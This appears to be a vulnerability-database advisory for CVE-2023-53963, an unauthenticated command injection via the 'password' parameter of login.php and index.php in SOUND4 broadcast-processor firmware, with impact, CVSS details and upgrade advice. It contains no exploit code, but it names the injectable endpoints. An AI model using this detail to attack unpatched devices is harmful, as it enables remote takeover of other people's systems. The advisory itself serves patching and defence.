CVE-2023-53963
Overview
This vulnerability is an unauthenticated OS command injection in SOUND4 IMPACT/FIRST/PULSE/Eco v2.x firmware. The root cause lies in insufficient input validation of the 'password' POST parameter in the login.php and index.php scripts, allowing shell command injection. The affected components are the web interface scripts handling authentication requests, which execute user-supplied input without proper sanitization.
Vulnerability Description
SOUND4 IMPACT/FIRST/PULSE/Eco v2.x contains an unauthenticated OS command injection vulnerability that allows remote attackers to execute arbitrary shell commands through the 'password' parameter. Attackers can exploit the login.php and index.php scripts by injecting shell commands via the 'password' POST parameter to execute commands with web server privileges.
Impact
An attacker with network access can exploit this vulnerability without authentication to execute arbitrary shell commands on the affected device. This enables full control over the web server environment, potentially leading to data compromise, service disruption, or lateral movement within the network. The CVSS vector indicates no privileges or user interaction are required (AV:N/AC:L/PR:N/UI:N), with high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users should upgrade SOUND4 IMPACT/FIRST/PULSE/Eco firmware to versions later than 2.15 where the vulnerability is addressed. Refer to the vendor advisory archived at https://web.archive.org/web/20221207074555/https://www.sound4.com/ for official patch releases and installation instructions. No specific workaround is documented; applying the vendor firmware update is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The identified vulnerability within the SOUND4 IMPACT, FIRST, PULSE, and Eco firmware versions presents a critical risk due to its unauthenticated OS command injection capability. This flaw allows remote attackers to execute arbitrary shell commands via the 'password' parameter in the login.php and index.php scripts. By manipulating this parameter, an attacker can inject malicious commands that the web server will execute with its privileges. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that it poses a significant threat to the confidentiality, integrity, and availability of affected systems.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a specially formatted POST request to the vulnerable scripts, embedding shell commands within the 'password' field. This could be done without any authentication, making it particularly dangerous. For instance, an attacker could execute commands to read sensitive files, modify system configurations, or deploy malware on the server. The potential for remote code execution means that attackers could gain full control over the affected devices, leading to further exploitation or lateral movement within a network.
The real-world impact of this vulnerability is profound, especially for organizations relying on the affected firmware for critical operations. Successful exploitation could lead to data breaches, unauthorized access to sensitive information, and disruption of services. The business risks include financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the ease of exploitation may encourage widespread attacks, increasing the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risk associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify vulnerabilities in web applications. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Additionally, organizations should ensure that their systems are updated to the latest firmware versions, which may contain patches for known vulnerabilities. Educating staff about secure coding practices and the importance of input validation can also help prevent similar vulnerabilities in future development cycles.
In conclusion, the unauthenticated OS command injection vulnerability in SOUND4 firmware represents a critical security concern that requires immediate attention. The potential for remote code execution, coupled with the ease of exploitation, poses significant risks to organizations that utilize these products. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, ensuring the integrity and security of their operations.
